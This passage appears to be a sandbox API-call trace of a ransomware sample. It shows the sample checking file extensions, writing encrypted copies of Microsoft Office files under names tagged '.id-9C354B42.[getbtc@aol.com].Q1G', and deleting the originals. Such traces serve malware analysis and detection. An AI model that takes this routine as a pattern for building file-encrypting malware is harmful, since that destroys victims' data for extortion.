(lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.242] lstrlenW (lpString=".dbf") returned 4 [0245.242] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.242] lstrlenW (lpString=".1cd") returned 4 [0245.242] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.242] lstrlenW (lpString=".jpg") returned 4 [0245.242] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.243] lstrlenW (lpString=".doc") returned 4 [0245.243] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".docx") returned 5 [0245.243] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.243] lstrlenW (lpString=".pdf") returned 4 [0245.243] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".xls") returned 4 [0245.243] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".xlsx") returned 5 [0245.243] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.243] lstrlenW (lpString=".ppt") returned 4 [0245.243] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.243] lstrlenW (lpString=".zip") returned 4 [0245.243] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".rar") returned 4 [0245.243] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".bz2") returned 4 [0245.243] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString=".7z") returned 3 [0245.243] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.243] lstrlenW (lpString=".dbf") returned 4 [0245.243] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.243] lstrlenW (lpString=".1cd") returned 4 [0245.243] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0245.243] lstrlenW (lpString=".jpg") returned 4 [0245.243] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.243] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0245.244] lstrlenW (lpString="Urban.eftx") returned 10 [0245.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.245] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=19611) returned 1 [0245.245] CloseHandle (hObject=0x3a8) returned 1 [0245.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0245.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0245.245] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.245] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0245.246] GetLastError () returned 0x0 [0245.246] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0245.247] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0245.248] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.249] WriteFile (in: hFile=0x37c, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0245.334] SetEndOfFile (hFile=0x37c) returned 1 [0245.334] CloseHandle (hObject=0x37c) returned 1 [0245.335] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.335] SetEndOfFile (hFile=0x3a8) returned 1 [0245.374] CloseHandle (hObject=0x3a8) returned 1 [0245.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0245.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.417] lstrlenW (lpString=".doc") returned 4 [0245.417] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString=".docx") returned 5 [0245.417] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.417] lstrlenW (lpString=".pdf") returned 4 [0245.417] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString=".xls") returned 4 [0245.417] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString=".xlsx") returned 5 [0245.417] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.417] lstrlenW (lpString=".ppt") returned 4 [0245.417] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.417] lstrlenW (lpString=".zip") returned 4 [0245.417] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString=".rar") returned 4 [0245.417] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString=".bz2") returned 4 [0245.417] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString=".7z") returned 3 [0245.417] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.417] lstrlenW (lpString=".dbf") returned 4 [0245.417] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.417] lstrlenW (lpString=".1cd") returned 4 [0245.417] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.417] lstrlenW (lpString=".jpg") returned 4 [0245.417] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.418] lstrlenW (lpString=".doc") returned 4 [0245.418] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString=".docx") returned 5 [0245.418] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.418] lstrlenW (lpString=".pdf") returned 4 [0245.418] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString=".xls") returned 4 [0245.418] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString=".xlsx") returned 5 [0245.418] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.418] lstrlenW (lpString=".ppt") returned 4 [0245.418] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.418] lstrlenW (lpString=".zip") returned 4 [0245.418] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString=".rar") returned 4 [0245.418] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString=".bz2") returned 4 [0245.418] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString=".7z") returned 3 [0245.418] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.418] lstrlenW (lpString=".dbf") returned 4 [0245.418] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.418] lstrlenW (lpString=".1cd") returned 4 [0245.418] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0245.419] lstrlenW (lpString=".jpg") returned 4 [0245.419] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.419] lstrcmpiW (lpString1=".MML", lpString2=".Q1G") returned -1 [0245.419] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0245.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0245.420] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=312400) returned 1 [0245.420] CloseHandle (hObject=0x200) returned 1 [0245.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0245.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0245.421] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.421] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.350] GetLastError () returned 0x0 [0247.350] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x4c450, lpOverlapped=0x0) returned 1 [0247.378] WriteFile (in: hFile=0x3bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0247.386] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.386] WriteFile (in: hFile=0x3bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.386] SetEndOfFile (hFile=0x3bc) returned 1 [0247.387] CloseHandle (hObject=0x3bc) returned 1 [0247.387] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.387] SetEndOfFile (hFile=0x200) returned 1 [0247.405] CloseHandle (hObject=0x200) returned 1 [0247.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString=".doc") returned 4 [0247.410] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0247.410] lstrlenW (lpString=".docx") returned 5 [0247.410] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0247.410] lstrlenW (lpString=".pdf") returned 4 [0247.410] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0247.410] lstrlenW (lpString=".xls") returned 4 [0247.410] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0247.410] lstrlenW (lpString=".xlsx") returned 5 [0247.410] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0247.410] lstrlenW (lpString=".ppt") returned 4 [0247.410] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString=".zip") returned 4 [0247.410] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0247.410] lstrlenW (lpString=".rar") returned 4 [0247.410] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0247.410] lstrlenW (lpString=".bz2") returned 4 [0247.410] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0247.410] lstrlenW (lpString=".7z") returned 3 [0247.410] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString=".dbf") returned 4 [0247.410] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString=".1cd") returned 4 [0247.410] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString=".jpg") returned 4 [0247.410] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.410] lstrlenW (lpString=".doc") returned 4 [0247.411] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0247.411] lstrlenW (lpString=".docx") returned 5 [0247.411] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0247.411] lstrlenW (lpString=".pdf") returned 4 [0247.411] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0247.411] lstrlenW (lpString=".xls") returned 4 [0247.411] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0247.411] lstrlenW (lpString=".xlsx") returned 5 [0247.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0247.411] lstrlenW (lpString=".ppt") returned 4 [0247.411] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0247.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.411] lstrlenW (lpString=".zip") returned 4 [0247.411] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0247.411] lstrlenW (lpString=".rar") returned 4 [0247.411] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0247.411] lstrlenW (lpString=".bz2") returned 4 [0247.411] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0247.411] lstrlenW (lpString=".7z") returned 3 [0247.411] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0247.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.411] lstrlenW (lpString=".dbf") returned 4 [0247.411] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0247.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.411] lstrlenW (lpString=".1cd") returned 4 [0247.411] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0247.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0247.411] lstrlenW (lpString=".jpg") returned 4 [0247.411] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0247.411] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.411] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0247.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.441] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=41864) returned 1 [0247.441] CloseHandle (hObject=0x3ac) returned 1 [0247.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0247.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.443] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.443] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.466] GetLastError () returned 0x0 [0247.466] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xa388, lpOverlapped=0x0) returned 1 [0247.531] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0247.532] ReadFile (in: hFile=0x200, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.532] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.532] SetEndOfFile (hFile=0x398) returned 1 [0247.532] CloseHandle (hObject=0x398) returned 1 [0247.532] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.532] SetEndOfFile (hFile=0x200) returned 1 [0247.534] CloseHandle (hObject=0x200) returned 1 [0247.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 1 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString=".doc") returned 4 [0247.980] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString=".docx") returned 5 [0247.980] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0247.980] lstrlenW (lpString=".pdf") returned 4 [0247.980] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString=".xls") returned 4 [0247.980] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.980] lstrlenW (lpString=".xlsx") returned 5 [0247.980] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0247.980] lstrlenW (lpString=".ppt") returned 4 [0247.980] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString=".zip") returned 4 [0247.980] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.980] lstrlenW (lpString=".rar") returned 4 [0247.980] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString=".bz2") returned 4 [0247.980] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString=".7z") returned 3 [0247.980] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString=".dbf") returned 4 [0247.980] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString=".1cd") returned 4 [0247.980] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString=".jpg") returned 4 [0247.980] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0247.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 